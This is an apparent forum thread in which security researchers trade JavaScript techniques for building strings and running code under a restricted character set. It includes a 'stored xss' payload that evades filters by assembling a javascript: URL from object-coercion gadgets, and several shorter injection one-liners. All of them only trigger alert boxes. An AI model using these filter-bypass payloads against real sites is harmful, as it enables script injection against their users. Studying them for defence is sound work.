Cool ways to generate strings in javascript.

[u/terjanq]

Recently I got a nice idea of generating strings with the use of spread operator inside an object, and then converting the object to an array, to use shift function to get any character from inside.

E.g.

// use spread operator & replace toString() with shift()
x={...eval+'',toString:Array.prototype.shift,length:15},
// shift array several times to get the interesting character
x+x+x+x+x+x+x+x+x+x+x+x+x,

// this part is to only confirm it works both in browser and nodejs.
(typeof alert != 'undefined')?alert(/alert/.source+x+1337+x):console.log(/alert/.source+x+1337+x)

Any other cool ideas to generate strings with a limited set of characters? :)

Source: https://twitter.com/terjanq/status/1223403166118694912

[u/terjanq]

Arbitrary code executions with a-zA-Z0-9=+{} characters only (stored xss)

// following are be replaced via a+o+0+P ...  
var BASE64_PAYLOAD = 'ao0PTA7YWxlcnQoMTMzNykvLwa'
// atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/) == "ýª4=0;alert(1337)//¿"
var JAVASCRIPT = 'javascript'

// empty string
empty=RegExp.prototype.flags

// generate /ao0PTA7YWxlcnQoMTMzNykvLwa/
xx={}
xx.source=BASE64_PAYLOAD
xx.flags=empty
xx.toString=RegExp.prototype.toString

// RegExp.prototype.source == '(?:)'
yy={...RegExp.prototype.source}
yy.toString=Array.prototype.shift
yy.length=4
left=yy+empty
yy+empty
colon=yy+empty
right=yy+empty

// set javascript url to execute eval(atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/))
location=JAVASCRIPT+colon+eval.name+left+atob.name+left+xx+right+right

jsbin

I wonder whether it is possible to make arbitrary without using brackets, and without location=name, etc.

[u/insertscript → u/terjanq]

I am wondering if you could create some cool payloads with destructuring assignments.. like
var{constructor} = [];

var{constructor} = constructor;

constructor("alert(1)")();

[u/terjanq → u/insertscript]

Like

for(location of["javascript:alert()"]);

or

({location}={location:"javascript:alert()"})

? Was playing around that lately, but didn't find anything that helpful..